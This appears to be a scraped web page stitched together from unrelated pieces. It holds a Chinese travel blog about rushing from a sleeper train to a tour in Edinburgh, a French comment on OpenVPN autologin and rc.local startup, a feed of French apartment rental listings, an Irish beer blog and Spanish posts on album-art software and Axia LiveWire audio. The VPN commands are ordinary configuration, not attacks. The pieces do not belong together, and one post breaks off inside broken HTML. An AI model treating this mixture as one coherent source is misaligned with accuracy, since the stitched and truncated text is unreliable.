這次旅行有個行程讓我在還沒去之前兩週就膽戰心驚 天天作惡夢 因為我耍笨 我一心想要坐看看臥舖 (因為還沒有坐過 想要先從先進的英國開始) 所以我在行程都還沒排好時 就心急地查了臥舖 還衝動下訂了一個特價的臥舖 方法是參考此篇文章 : 勇闖英倫 - 行前準備(臥舖) 衝動訂了 London --> Glasgow 的特價臥舖 兩人£98.00  (有關英國交通方式我會再另文說明) 本來當初我排的行程是想先去北方玩 然後慢慢玩到南方 這樣在氣候上也比較能適應....結果就因為這個特價車票 整個行程變成 先倫敦-->向北到Glasgow 再一路玩下來.... 因為我的衝動行事 我還被我旅伴罵了一大頓..... 在排了這個之後...我又突然發現 我想要在蘇格蘭高地玩五天 參加local tour... 但是....我發現...所有高地團的行程5天的都不能搭上我們這個"臥舖行程" 所有英國高地團的網址如下: (來源自背包客棧) http://www.haggisadventures.com http://www.rabbies.com http://www.scotlinetours.co.uk http://www.timberbushtours.com http://www.heartofscotlandtours.co.uk http://www.highlandexperience.com http://www.graylinetours.com http://www.highlandexplorertours.com http://www.macbackpackers.com http://www.wild-in-scotland.com http://www.travelscotland.co.uk 只有一個  Macbackpacker 這家是所有蘇格蘭團最便宜的 他有五天的行程   可是很慘的是 我們必須要到達Glasgow後 立馬坐一小時火車殺到Edinburgh 然後衝去他們的集合地點.... 一下臥舖就要衝呀衝的! 我們到達Glasgow 時間是早上 0720   有火車從Glasogow 到達Edinburgh的時間是 0855 為此....我們向Google 大神查詢了 火車站到集合地點的路程 乍看之下 的確5分鐘可到 (集合時間是 0900) 為求謹慎 我們還寫Email 去Macbackpacker 問了這情形 很認真地解釋我們很想參加這個團 不曉得這種情形可不可以趕到 我們不希望遲到 擔誤行程  但是又很想參加 但是他們給我們的回覆非常保守  很理性   就是分析路程5分鐘是可以到的 但是假如我們真的擔心 就不要參加....類似這樣的答覆 ( 瞎咪~~  他說的也太像抽根事後煙 無所謂的事了吧....) 這是now and forever 的事....就是 如果這次沒辦法參加這五天的團 可能再也沒機會了.... 最後 我們還是訂了.....(我就是無法像英國人這麼理性呀.....) 過程中 出發前一天 甚至當天在火車上 都有一直Email 和電話跟他們再解釋我們的狀況 說我們快到了 但是雖然在心中 在Google 排練了數千遍要怎麼跑  當天到時  卻沒料到愛丁堡的地形 上坡到我抬著行李跑 真的第一次感受到我意志力輸給身體的感覺  請想像提著20kg的行李 然後包包 然後用"跑的" 跑上約30度的陡坡..... 我們還是離集合時間 遲到了10分鐘.........Orz........ 我們一到集合地點  一家hostel 門口時  看到門口停了一輛小巴 我超開心的 還上車問  結果車上的人 一臉狐疑 一付聽不懂我們在問啥的樣子 我們就跑進去Hostel 問   結果裡面的人就回說.... 他們走了............ 他們走了........    他們走了.......... (我覺得我頓時好像被500kg 的鎚子重擊頭部   而且像電視劇女演員那樣  不敢相信這是真的......我是真的呆住了....煞那間  好像整個宇宙都停了的樣子..... 內心一直大喊   不可能  這不可能是真的.....   還有海浪撞擊石頭的浪花噴出 伴隨著"不可能"醬....) Hostel 的人 冷靜的說 你們就到對街找Macbackpacker  office的人吧.... 我因為無法思考 此時就茫然跟在我亂衝尋找office在哪的旅伴後面 拿著行李狂跑... 到Macbackpacker  office時 我真的快要哭出來了 小姐人超好的 看我們狼狽不堪 (就一付坐臥舖車後 趕搭火車 又提將近20kg行李 奔跑完山路 然後我又快哭了的樣子...) 願意幫我們打電話給我們的司機兼導遊 第一通  他沒接   (我真的急到瘋了....) 第二通  他接了   聽起來好像是他對小姐打電話煩他相當不高興  好像表達說 你不知道我在開車不能接電話嗎?  小姐一直跟她說 對不起 對不起  因為我們實在太可憐的樣子 然後又很想參加這個團 她幫我們問說  有沒有辦法追到他們....   (此時已經是09:35) 過程中 像是一直在幫我們說話 幫我們求情............. 我真的很不好意思  也快哭出來了  腦子裡面想著 要是沒追到這團 這五天要住哪? 要幹麻? 兩人250鎊 就飛了... 最後導遊人很好  說願意在愛丁堡動物園等我們   小姐給了我們他的聯絡方式並告訴我們要在哪裡搭計程車.... 當她跟我們說  導遊願意等我們的時候  我覺得我的心情大概比我考上榜首 還高興10萬倍...(我熊熊想不到有啥高興的事.... 本來想寫得金馬獎之類的....但是我又沒得過.....天呀!! 突然發現 我這一生得過的獎還真少....) 那種感覺大概像是愛的人 起死回生  久病大癒的感覺   我簡直就要衝上去抱和親那小姐了 拿著行李 又衝出office 下了陡峭的樓梯....直衝taxi 招呼處... 一排司機 停在那 一開始我們還太心急 找了一個停的離我們比較近的Taxi 但那Taxi 說 他不載...我還覺得為何呀?? 只見他指了一下前面 意思是 他們是排隊的  要去找最前面的那台Taxi才對.... 就這樣我們搭上了在英國第一次搭也是本次行程的最後一次Taxi.... 英國Taxi很奇怪喔! 它是司機的坐位和美國一樣 會用隔間隔開乘客 中間只有個塑膠板的窗口 可以打開 在一個像收銀盤的盤子上放錢 奇怪的地方是 他們的座位是把乘客變成相對而坐 也就是有和司機背靠背的位子 另外兩個則是面對司機而坐  我們搭的 他把和司機背靠背的椅子拉起來 所以有超級大的空間 大概是可以走兩步的距離 所以很寬 可以放行李....小小一台車 竟然可以有這麼大的空間感 司機是一個老頭...看起來就像是很溫和的人 BUT 連司機感受到我們的急迫  因為我們匆匆忙忙地上車  又跟他拜託可不可以快一點 同時還打電話給我們的導遊  說我們已經在Taxi上了 搞得我們的Taxi 司機也好緊張的樣子喔 在愛丁堡市區碰上塞車  還一直在罵....跟我們罵說 "愛丁堡弄那麼多公車也不曉得要幹麻 根本沒那麼多人在坐公車呀! 以前愛丁堡不會這樣塞車的....@!**$#)$* 碎碎念一堆" 我們兩個則是緊張地像熱鍋上的螞蟻  我都快跳起來了 一直紅燈  前面真的就塞了一堆車............... 重點是  那個跳表計費的東西 還一直在跳  我心臟都快要給它跳出來了...... 就這樣  在司機也急得半死  我們兩個也急到快腦中風之下 我們到了在郊區的愛丁堡動物園 10:00 Taxi fee 是大約16 鎊....  一到那邊 就看到門口停了一輛白色小巴  我們的導遊穿著蘇格蘭裙就立刻下來幫我們打開後車廂  把行李放進去 我們很狼狽地一直說 對不起  對不起  謝謝你 謝謝你 醬 然後我真是要羞死了   就上車一路說 對不起對不起  走到最後一排位子坐下 開始開車後 我覺得我的臉整個脹紅到快要燒起來了 內心相當不安  司機繼續講他介紹愛丁堡的說明 而我整個就是不安又尷尬到極點...... 唉!! 腦子一直在想  五天的一開始就讓人家有這麼差的印象 好想挖個洞躲起來算了 後來他叫我們自我介紹時 我一開頭  又再說了一遍: I'm sorry~~~~~~~~~~~~~ 才開始說自己....也不敢說自己是台灣來的.... 唉!   結果就是趕車也痛苦 上了車也尷尬醬 總而言之   排行程時  嘿~~~要注意呀!!!!千萬別做這種切得剛剛好行程的事呀!!!!! 後記: 本來我這篇是要寫英國人的特性的  (就是守時) 不過寫著寫著篇幅過長  算了....就變成交待一下 這個旅程中最驚險的一段吧!!!! (除了遇到鬼之外) 下一篇再寫寫英國人吧!  
             

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          Commentaires sur Utiliser le Raspberry Pi comme passerelle OpenVPN pour permettre un accès VPN à tout votre réseau local par Nettlebay   
Bon, ben, c'est encore moi... Pour transformer un fichier *.ovpn en "autologin": 1. allez en root dans /etc/openvpn. 2. Créer un fichier auth.txt. 3. Editer le fichier -toujours en root- et ajouter sur la première ligne votre username et sur la deuxième, votre mot de passe. Tout simplement. Enregistrez. 4. Editez votre myvpn.ovpn -évidemment en root. Rechercher (Ctrl+f) "auth-user-pass". Rajouter à la suite: "/etc/openvpn/auth.txt", ce qui donne: "auth-user-pass /etc/openvpn/auth.txt". Et enregistrez Deux autres trucs: 1. Je lance mon VPN depuis /etc/rc.local depuis plusieurs années et ça fonctionne nickel (pas besoin de NetworkManager). Ajoutez vers la fin de votre rc.local (avant exit 0): openvpn --config /etc/openvpn/myvpn.ovpn (ou le nom de votre ovpn). Essayez! Vous verrez, c'est parfait. Vous êtes déjà sous VPN avant d'arriver au Bureau. 2. Commande pour changer de VPN (dans un lanceur): sh -c "sudo killall openvpn ; sudo openvpn --config /etc/openvpn/monvpn.ovpn". J'en ai toute une batterie! J'ai la folie des VPN! "sudo killall openvpn" stoppe le VPN actif et " sudo openvpn --config /etc/openvpn/myvpnflorida.ovpn" lance le nouveau VPN. Le point-virgule ";" est un caractère d'enchaînement. Même si la première commande rate, la seconde est effectuée. C'est important si vous lancez la commande et qu'aucun VPN n'est actif: la première échoue donc. Mais la seconde peut fonctionner (ça peut arriver). Pour info: VPS à trois sous (heu... $3) et qui marche duTonnerre de Brest: https://bandwagonhost.com. Attention cependant, Google m'a fait un "caca nerveux" avec multiples demandes de Capcha, etc... Je ne dois donc pas être le seul à avoir cette IP... Tant pis pour eux, j'ai adopté Ixquick /Startpage comme moteur de recherche par défaut. Bien fait! Lien: https://www.it-connect.fr/lenchainement-des-commandes-sous-linux/
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Playing with Google’s beautiful Photospheres (interactive, Streetview-like panorama photos hosted within Google Maps) you’ll quickly notice that Photospheres aren’t thoroughly supported on mobile devices (yet). It’s currently a little risky to share links pointing to Photospheres on Google Maps – … Continue reading
          House 3 pièces Auch   
900
Environ 125 m² habitables Grand séjour avec cuisine américaine équipée donnant sur Terrasse avec vue panoramique 2 Chambres avec salle de bains + Suite parentale avec salle deau et coin dressing Grand cellier de 60 m² environ Jardin clos Abri...
3 pièces 1 salle de bain 125 m² 7 €/m² terrasse jardin
Wed, 28 Jun 2017 17:17:59 -0400
          Appartment Aubagne   
820
AUBAGNE T3.4 Duplex Cuisine équipée Balcon Climatisation eau inclus plein sud vue sur Jardin R.neuf Loyer: 760 € hc - Toutes nos annonces sur gitimmo -. FA 390€ .
71 m² 11 €/m² balcon cuisine équipée chauffage jardin duplex
Wed, 28 Jun 2017 17:05:22 -0400
          Appartment Bordeaux   
606
Appartement de 34 m² situé près de larrêt de tram Les Hangars avec vue sur les quais, au 2ème étage dun immeuble rénové. Il est composé, dune entrée, dune pièce de vie, une cuisine américaine, une salle deau avec WC. Parquet ancien, double...
34 m² 17 €/m² parquet rénové
Wed, 28 Jun 2017 17:05:06 -0400
          Appartment Chambery   
297
A louer, à Chambéry, Rue Doppet, Centre ville, une studette meublée de 9.20 m² au 7ème étage avec ascenseur, comprenant une pièce principale équipée dun lit mezzanine et dun bureau, coin kitchenette équipée, salle deau avec WC. Chauffage...
9 m² 33 €/m² ascenseur meublé chauffage
Wed, 28 Jun 2017 16:33:33 -0400
          Appartment 1 pièces Aytre   
572
EXCEPTIONNELLE / 200EUROS DE REMISE SUR LA LOCATION DUN LOGEMENT T2 Appartement T2 a louer en rez-de-chaussée dune résidence neuve et sécurisée idéalement situé a Aytre. Proche des commerces et ligne de bus ce logement dispose dune entrée avec...
1 pièce 1 salle de bain 40 m² 14 €/m² parking
Wed, 28 Jun 2017 16:03:59 -0400
          Appartment 1 pièces Montpellier   
557
A louer, T2 lumineux au sein dune charmanterésidence LES FLAMBOYANTS, située au 769 rue Émile Jeanbrau à Montpellier. Proche de la faculté de lettres, du CNRS, de Vert Bois et de toutes commodités. Situé au 1er étage, ce T2 de 35m² se compose...
1 pièce 35 m² 15 €/m² terrasse chauffage réfrigérateur baignoire
Wed, 28 Jun 2017 16:01:44 -0400
          Appartment 4 pièces Annecy   
1586
SEYNOD-ANNECY dans Petite Résidence au calme rare T 7 très belles prestations, 3ème et dernier étage - ascenseur accès direct et privé, Belle cuisine équipée ouverte sur spacieux séjour avec cheminée donnant sur grande terrasse souvrant Plein Sud...
4 pièces 2 salles de bains 143 m² 11 €/m² ascenseur terrasse cheminée cuisine équipée douche
Wed, 28 Jun 2017 15:48:12 -0400
          Appartment Cannes   
600
PALM BEACH - STUDIO A LOUER Dans une résidence de standing au coeur du Palm Beach, beau studio 3ème étage avec ascenseur, avec vue dégagée cuisine équipée (réfrigérateur-congélateur), terrasse transformée en loggia fermée. Hall dentrée, placard,...
20 m² 30 €/m² ascenseur terrasse congélateur cuisine équipée réfrigérateur
Wed, 28 Jun 2017 15:44:45 -0400
          Appartment 2 pièces Nice   
860
Location Nice 3 pièces meublé situé quartier Californie Quartier Californie, proche fac de Lettres, dernier étage avec ascenseur dun immeuble niçois, 3 pièces meublé en très bon état, composé dune entrée, un séjour, une cuisine indépendante...
2 pièces 1 salle de bain 54 m² 15 €/m² balcon ascenseur chauffage
Wed, 28 Jun 2017 15:12:58 -0400
          House 2 pièces St Romain la Virvee   
681
St Romain centre, agréable maison pierre rénovée dune surface de 78m², offrant un vaste séjour -coin cuisine équipée, dégagement, salle deau, WC et à létage = palier, 2 chambres avec penderie, jardin avec vue dégagée. DETAIL loyer hors charges...
2 pièces 78 m² 8 €/m² cuisine équipée jardin
Wed, 28 Jun 2017 14:57:55 -0400
          Appartment 3 pièces Lille   
1290
Très beau type 4 de 83m² entièrement parqueté (parquet chêne), situé à proximité de la porte de Paris - Au 4ème étage avec ascenseur dune résidence sécurisée avec gardien - Beau séjour donnant sur balcon avec vue sur le parc - Cuisine séparée...
3 pièces 1 salle de bain 83 m² 15 €/m² balcon ascenseur parquet chauffage parking four
Wed, 28 Jun 2017 14:52:56 -0400
          Appartment Nice   
435
Au coeur du Vieux Nice, sur la rue Droite au calme, proche tramway et commerces, agréable studio de 27 m² très lumineux. Au 6e et dernier étage (sans ascenseur) il se compose dune entrée, pièce à vivre triple exposition avec vue sur la colline du...
1 salle de bain 27 m² 16 €/m² ascenseur chauffage baignoire
Wed, 28 Jun 2017 14:50:37 -0400
          House 4 pièces Le Guillaume   
1400
TEKAIMMO vous présente cette villa F5 neuve avec de belles finitions, denviron 120 m² habitable a louer au Guillaume St Paul. 2 emplacements voitures, rez-de-chaussée: séjour avec cuisine ouverte et équipée, bureau en mezzanine ou chambre dami,...
4 pièces 1 salle de bain 118 m² 11 €/m² terrasse douche baignoire
Wed, 28 Jun 2017 14:40:07 -0400
          Appartment 2 pièces Paris 19ème   
1488
SANS HONORAIRES. Quai de la Charente, Appartement de 3 pièces comprenant, une entrée avec placard, une cuisine ouverte sur le séjour, 2 chambres avec placard, une salle de bains et des WC séparés. Beau parquet et vue dégagée. Résidence venant...
2 pièces 1 salle de bain 60 m² 24 €/m² parquet
Wed, 28 Jun 2017 14:20:36 -0400
          Appartment Nice   
530
Nice quartier du port au 6e étage et disposant dune agréable terrasse avec vue, grand studio de 40 m². Il se compose dun hall dentrée avec placards, belle pièce à vivre donnant sur terrasse (possible coin nuit), cuisine séparée, salle de bains et...
1 salle de bain 40 m² 13 €/m² terrasse chauffage
Wed, 28 Jun 2017 14:18:30 -0400
          Appartment 1 pièces Mouans Sartoux   
650
Mouans-sartoux / location vide: bel appartement de type 2 pièces en duplex denv 38m². Cave. Lumineux - proche toutes commodités - bel espace jour - bien agencé - vue dégagée / village - pas de charges. Loyer 650euro cc. Honoraires: 500.63euro...
1 pièce 38 m² 17 €/m² duplex
Wed, 28 Jun 2017 14:08:33 -0400
          Appartment 2 pièces Rueil Malmaison   
1200
RUEIL MALMAISON-BUZENVAL- Dans un grand parc arboré, calme et sécurisé situé à proximité des transports et des commerces, au 3ème étage, très bel appartement avec balcon et vue panoramique sur Rueil Malmaison. Il est composé dun grand séjour...
2 pièces 1 salle de bain 65 m² 18 €/m² balcon chauffage
Wed, 28 Jun 2017 13:43:48 -0400
          Appartment 1 pièces Paris 19ème   
1055
Avenue Jean Jaurès Metro Ourcq ou Laumière A deux pas du Bassin de la Villette et du parc des Buttes Chaumont, proche de tous commerces. Dans un immeuble ancien de bon standing au 4ème étage sans ascenseur. Appartement deux pièces, 38 m²: une...
1 pièce 38 m² 27 €/m² ascenseur meublé machine à laver cuisine équipée douche chauffage four
Wed, 28 Jun 2017 13:38:20 -0400
          Appartment 2 pièces Paris 15ème   
2735
Appartement de standing, -ENTIÈREMENT RÉNOVÉ, situé ave de Suffren, à deux pas du Champ de Mars et de la Tour Eiffel, élégant double séjour souvrant sur un petit balcon, deux ravissantes chambres, un bureau ou chambre dinvité, cuisine américaine...
2 pièces 1 salle de bain 104 m² 26 €/m² balcon douche parquet rénové baignoire
Wed, 28 Jun 2017 13:19:02 -0400
          Appartment 2 pièces Paris 7ème   
3500
Place de lÉcole Militaire 2ème étage ascenseur: Très bel Appartement entièrement rénové, 90 M², Meublé, 3 pièces comprenant: Hall, Séjour 21 m², espace bureau, 1 chambre avec Salle deau + WC, 1 chambre avec salle de bains, cuisine entièrement...
2 pièces 1 salle de bain 90 m² 38 €/m² tv balcon ascenseur meublé parquet chauffage rénové
Wed, 28 Jun 2017 13:09:32 -0400
          Appartment 1 pièces Paris 4ème   
1700
EXCLUSIVITÉ. Au pied du métro Sully-Morland, dans immeuble ancien en pierre de taille, à louer grand 2 pièces, de 65,78m² au 4ème étage sans ascenseur. Lentrée-couloir dessert le séjour de 18m² avec vue très dégagée, exposition Est. Une belle...
1 pièce 1 salle de bain 65 m² 26 €/m² ascenseur parquet chauffage baignoire
Wed, 28 Jun 2017 13:08:51 -0400
          Appartment 1 pièces Neuilly-sur-Seine   
1390
Loyer 1390€ + 190€ soit 1580€ avec les charges Dans une petite résidence de standing, 2 pièces (45 m²), jardin privatif (20 m²), parking en sous-sol. Charmant, calme, très bien distribué, salon donnant sur jardin avec vue sur parc. Nombreux...
1 pièce 1 salle de bain 45 m² 30 €/m² jardin parking
Wed, 28 Jun 2017 13:08:35 -0400
          Appartment 4 pièces Levallois-Perret   
2490
Loyer: 2490 €/mois + charges 290 €. Très bel appartement au quatrième étage dune résidence de standing récente (1998), 4 pièces dune superficie de 92 m² loi Carrez avec larges balcons, offrant une belle vue dégagée sur verdure. Il se compose dune...
4 pièces 1 salle de bain 92 m² 27 €/m² balcon cuisine équipée chauffage parking
Wed, 28 Jun 2017 13:08:31 -0400
          New place, new faces, same old Dublin   

I’ve finally settled down.

No, not marriage. I mean that everything was quite hectic there for a while. Having returned from living in France, I took to house-hunting in Dublin on the following day, found a place by the fifth day, moved in on the sixth, and had my first tour of the season on the seventh! I hadn’t seen my family since January, so after that tour, I got the bus home. More hecticness – packing the rest of my stuff to bring down before my next tour!

Just in case you’re thinking I’ve been having a bad time so far, I’ll tell you I’m happy to back in Dublin, scumbags and all. Colour, chat, variety, mischief – traits that Grenoble blatantly lacked, and some say Dublin has too much of! Tea. Cadbury’s chocolate. Excellent beef. Guinness. They’re all still here! Thank God!

But changes are inevitable, as my good university buddy Heraclitus was always saying. New shops, restaurants, transport ‘improvements’ (which have exacerbated services), buskers on Grafton St., ways to see Dublin, Starbucks (sigh) on the original site of the Bewley’s Café, and, most importantly, new beers!

Tom Crean, the Irish Giant, is known to Irish people as the fella from Kerry who had quite a walk in Antarctica. Those guys who fabricate those fantastic Guinness TV ads succeeded in recalling his achievements to Irish minds about ten years ago.

Funnily, his connection with Irish beer has now become real.

The ‘Dingle Brewing Company’ has created a beer in honour of the great man. Simply named ‘Tom Crean’s’, the smooth lager is something I’d choose over the boring, predictable common lagers you find everywhere, and I'm not just talking about this country. I think I’ve seen it in three Dublin pubs so far. For a huge, and frequently updated, selection of beers on tap, O’Neill’s on Suffolk never lets me down. Well, except for their removal of Curim on tap. L



Eight Degrees Brewing’ has been in half of the pubs I’ve been in since I’m back. Granted, I mainly go into pubs in search of new wonderful inebriating beverages, so that fact is not as startling as would first appear. I‘ve only tried the ‘Sunburnt Irish Red’ (on draught in O’Neill’s on Suffolk St.), but I was mightily impressed – probably my favourite red ale now. It’s rich in flavour and body, two things which 8 degrees obviously knew were desperately lacking from the common Irish red ales.



(I’m still suffering withdrawal symptoms from having worked four months in Belgian beer pub. It’s not all bad; there are places to get Belgian beer here in Dublin, but this post is already too long.)
          Appartment 1 pièces Neuilly sur Seine   
1587
PONT DE NEUILLY, Situé Avenue Charles de Gaulle, au 6ème étage avec ascenseur, vue entièrement dégagée, un beau 2 pièces de 57 m² comprenant: un grand salon avec cuisine ouverte équipée, une grande chambre, une salle de bain, WC séparés. Eau...
1 pièce 1 salle de bain 57 m² 27 €/m² ascenseur chauffage
Wed, 28 Jun 2017 13:08:25 -0400
          Appartment 2 pièces Paris 18ème   
1650
Loyer: 1.650 €/mois + 200 € provision sur charges. Appartement 3 pièces refait à neuf, de 73 m² traversant Est-Ouest. En étage supérieur, vue Sacré Coeur. Chauffage électrique individuel. Salle de bains, WC séparés, une cuisine semi-équipée....
2 pièces 1 salle de bain 73 m² 22 €/m² ascenseur chauffage
Wed, 28 Jun 2017 13:08:19 -0400
          Appartment 1 pièces Paris 17ème   
990
Appartement 2 pièces, équipé dune cuisine américaine et disposant dune vue dégagée, il est très ensoleillé. Lappartement est situé au 6ème étage, accessible par ascenseur.
1 pièce 1 salle de bain 34 m² 29 €/m² ascenseur meublé
Wed, 28 Jun 2017 13:06:23 -0400
          Creevity: Descarga carátulas de álbumes gratis   


Creevity es un "freeware" que se utiliza para descargar portadas de álbumes y de singles. Al momento de ubicar la ruta de los archivos mp3, Creevity lo reconocerá por el nombre del artista y la canción. Luego mostrará 6 opciones donde uno puede escoger el más adecuado.

Esto es ideal para aquellas personas que no les gusta ver su biblioteca musical vacía y sin color, o para aquellos broadcasters que quieren mostrar el álbum de la canción que está reproduciendo en su radio online. Más adelante haré un tutorial sobre lo segundo mencionado.

Enlace: Creevity



          Appartment 2 pièces Paris 4ème   
4080
ÎLE DE LA CITÉ -PRES NOTRE DAME- RUE CHANOINESSE avec Vue sur la SEINE. Magnifique Appartement de 4 PIÈCES refait NEUF au 2ème étage sans ascenseur dans immeuble ancien. Entrée, Cuisine entièrement équipée, Salle de bains + Salle deau, WC....
2 pièces 1 salle de bain 115 m² 35 €/m² ascenseur cheminée chauffage
Wed, 28 Jun 2017 13:05:29 -0400
          Appartment 2 pièces Baillif   
700
Spacieux, ventilé, très agréable T3 situé sur les hauteurs de Baillif en Haut de Villa. Appartement comprenant: 2 chambres, 1 séjour avec bar, 1 cuisine aménagée, 1 salle deau avec WC et toilettes indépendantes.Vue panoramique mer et montagne.Eau...
2 pièces 100 m² 7 €/m²
Wed, 28 Jun 2017 13:02:09 -0400
          Appartment 2 pièces Joinville-le-Pont   
751
Location vide - 94340 JOINVILLE LE PONT - RER Joinville le pont à 10mn. Immeuble Meulière - Appartement au 4ème dernier étage sans ascenseur composé de entrée 3 pièces cuisine équipée salle deau WC - Parquet, cheminées. Vue superbe et dégagée....
2 pièces 45 m² 16 €/m² ascenseur cuisine équipée parquet
Wed, 28 Jun 2017 13:01:11 -0400
          Appartment Issy-les-Moulineaux   
701
92130 Issy les Moulineaux, Metro Mairie dIssy Ligne 12, Studio en bon état avec petite terrasse, dune superficie de 27.80, dans un immeuble standing 2013 au 3ème étage avec ascenseur, vue dégagée au calme, chauffage collectif compris.
28 m² 25 €/m² terrasse ascenseur chauffage
Wed, 28 Jun 2017 13:00:54 -0400
          Appartment 2 pièces Paris 17ème   
2760
Paris 17ème ARGENTINE rue Saint-FERDINAND, au 7ème étage avec ascenseur dun immeuble de bon standing, nous vous proposons à la location MEUBLÉE ce bel appartement de 108 m² avec balcon et jolie vue dégagée. Entrée, grand salon/salle à manger de...
2 pièces 1 salle de bain 108 m² 25 €/m² balcon ascenseur meublé
Wed, 28 Jun 2017 12:59:59 -0400
          Appartment 1 pièces Marseille 10ème   
810
RÉSIDENCE NEUVELES SENIORIALESau 7 Etage avec ascenseur appartement avec vue dégagée, exposition ouest, séjour et chambre avec grande terrasse, cuisine équipée, salle deau dans la chambre, chauffage et eau chaude collectifs. Résidence réservée...
1 pièce 43 m² 18 €/m² ascenseur terrasse cuisine équipée chauffage
Wed, 28 Jun 2017 12:59:31 -0400
          Appartment 1 pièces Colomiers   
556
Dans une résidence neuve, venez visiter cet appartement offrant une cuisine équipée (Hotte, évier, réfrigérateur modèle Top, une plaque Vitrocéramique, Meubles de rangements) ouverte sur séjour avec accès au balcon (vue sur Bois classé), dune...
1 pièce 1 salle de bain 42 m² 13 €/m² balcon machine à laver cuisine équipée réfrigérateur baignoire parking
Wed, 28 Jun 2017 12:57:05 -0400
          El sistema LiveWire de Axia y sus beneficios para el audio digital   

Axia
es una de las empresas mejor posicionadas en el ámbito radial. Ya que ofrece, audio codificado, consolas de acuerdo a las necesidades de los usuarios y empresas de radio. En esta ocasión nos muestra las ventajas de su sistema LiveWire, ideal para aquellas empresas de radio FM que quieran retransmitir su señal por internet con la mejor calidad en audio.

Como vemos en la imagen existen 2 modos en el que LiveWire puede emitir audio en 100 y 1000 Mbps a través de un cable Ethernet. Esta es una red que a su vez puede transferir mensajería y tráfico en un mismo servidor. Este sistema de entrega de audio podría utilizarse por ejemplo, para descargar un archivo de audio desde un servidor al mismo tiempo cuando una canción está reproduciéndose.



Calidad de audio:
Una red de Axia está en un ambiente controlado y de alta velocidad, sin riesgo de que haya problemas de audio, ya que como hemos visto el ancho de banda es de lo mejor y que puede trabajar para muchos canales de audio sin comprimir en alta calidad. 

Su método de codificación es de 48kHz/24-bit PCM. I<span style="background-color: white;" title="Even analog audio nodes have 100dB dynamic range, ncluso sus nodos de audio analógicos tienen un rango dinámico de 100 dB. Si usted es un broadcaster y desea adquirir estos servicios pueden ver sus distribuidoras en este link. Más información: LiveWire en español
          Appartment 1 pièces Chantilly   
751
Location NON Meublé. Au coeur du centre ville de chantilly, proche de toutes les commodités, beau 2 pièces de 39 m² LC et 46.16 m² au sol refait entièrement à neuf avec poutres apparentes et de très belles prestations comprenant une entrée avec...
1 pièce 1 salle de bain 38 m² 19 €/m² machine à laver parquet baignoire
Wed, 28 Jun 2017 12:56:53 -0400
          Appartment Paris 16ème   
900
Parois 16ème, roche rue dAuteuil, Métro Michel Ange Auteuil, au 5ème étage dun immeuble de 1975 avec digicode, ascenseur et gardien, studio meublé de bon de standing, calme, clair, offrant une vue dégagée sur jardin, comprenant cuisine américaine...
1 salle de bain 37 m² 24 €/m² tv ascenseur meublé parquet chauffage jardin
Wed, 28 Jun 2017 12:56:13 -0400
          Appartment 2 pièces Vitry sur Seine   
1100
Au pied du bus 183 en face de Simply Market. Dans une résidence arborée et bien entretenue, 3 pièces en étage avec vue dégagée disposant dune entrée, un séjour, 2 chambres avec placards, une cuisine séparée attenant à un loggia de 2 m², une salle...
2 pièces 1 salle de bain 64 m² 17 €/m² chauffage parking
Wed, 28 Jun 2017 12:55:34 -0400
          Appartment 2 pièces Montpellier   
850
En plein coeur de ville; Proximité place de la Canourgue et Préfecture. Très bel F3 dans hôtel particulier dexception. Appartement avec beaucoup de cachet, dans un excellent état. Couloir dentrée, salon, salle à manger, 2 chambres, cuisine, salle...
2 pièces 1 salle de bain 80 m² 10 €/m² chauffage
Wed, 28 Jun 2017 12:55:12 -0400
          Appartment Antibes   
600
Joli et spacieux studio avec une grande terrasse vue mer seulement à 5 minutes des plages. Cuisine indépendante. Dernière étage, les places de parking sont disponible dans la résidence. Idéal étudiant.
32 m² 18 €/m² terrasse meublé parking
Wed, 28 Jun 2017 12:52:01 -0400
          Appartment 1 pièces Antibes   
825
Magnifique appartement de 50 m² avec une belle terrasse de 16 m² et vue par et belle échappée mer. Place de parking souterrain, loué meublé de Septembre au Juan. Idéal étudiant. Nous sommes à votre disposition pour toute question.
1 pièce 1 salle de bain 50 m² 16 €/m² terrasse meublé parking
Wed, 28 Jun 2017 12:51:06 -0400
          Appartment 1 pièces Paris 8ème   
1626
Appartement 2 pièces de 60 m² atypique et de charme, dans un très bel immeuble Haussmannien, situé dans un quartier très agréable et vivant (Triangle dor-rue Marbeuf), comprenant entrée, belle pièce de réception avec très jolie vue, cuisine, une...
1 pièce 60 m² 27 €/m²
Wed, 28 Jun 2017 12:48:20 -0400
          Appartment 3 pièces Marseille 1er   
840
Beau T3/4 lumineux en dernier étage avec mezzanine et vue dégagée à côté des commerces, bus, métro, écoles et parc Longchamp. Il se situe au 3ème et dernier étage, sans ascenseur, du 165 boulevard de La Libération dans le 13001. Ce T3 de 57m² +...
3 pièces 1 salle de bain 57 m² 14 €/m² ascenseur internet douche chauffage
Wed, 28 Jun 2017 12:45:35 -0400
          Appartment 3 pièces Chalon sur Saone   
990
Visite virtuelle disponible à lagence. Venez découvrir ce bel appartement de 140 m² situé dans une impasse calme du centre ville au deuxième étage dune copropriété avec cour à accès sécurisé. Il se compose dune entrée avec penderie, dune...
3 pièces 1 salle de bain 140 m² 7 €/m² baignoire four
Wed, 28 Jun 2017 12:45:30 -0400
          Appartment 4 pièces Paris 17ème   
8500
A DEUX PAS DU PARC MONCEAU ! Magnifique hôtel particulier en pierre de taille dans style gothique, développé sur 4 niveaux, dégageant énormément de charme, très lumineux, aucun vis à vis, vue dégagée, lensemble a totalement été rénové dans des...
4 pièces 2 salles de bains 244 m² 34 €/m² meublé rénové
Wed, 28 Jun 2017 12:45:19 -0400
          Appartment 4 pièces Paris 16ème   
4850
Proximité place de lEtoile, entre avenue Foch et Grande armée, dans immeuble Haussmannien de 1928 situé dans un square privé, très calme appartement de grand standing de 6 pièces de 194 m² loi Carrez avec un grand balcon de 7.65 m² au 2e étage...
4 pièces 1 salle de bain 195 m² 24 €/m² balcon ascenseur douche parquet chauffage
Wed, 28 Jun 2017 12:45:13 -0400
          Appartment Brest   
365
Croix Rouge/Lambezellec - 17 rue Florian - T1 de 28 m² - parking privé Cet appartement T1 en parfait état est situé au 3ème et dernier étage dune petite résidence calme avec parking privé. Il se compose dun séjour donnant sur balcon fermé, dune...
28 m² 13 €/m² balcon parking
Wed, 28 Jun 2017 12:44:42 -0400
          Appartment 1 pièces Marseille 7ème   
720
Entre le chemin du Roucas Blanc et la rue dEndoume dans immeuble récent, appartement traversant situé au 2e et dernier étage et bénéficiant dune jolie vue sur les toits et la mer. Logement entièrement meublé et en très bon état.
1 pièce 1 salle de bain 38 m² 18 €/m² meublé
Wed, 28 Jun 2017 12:43:07 -0400
          Appartment Villeneuve-la-Garenne   
692
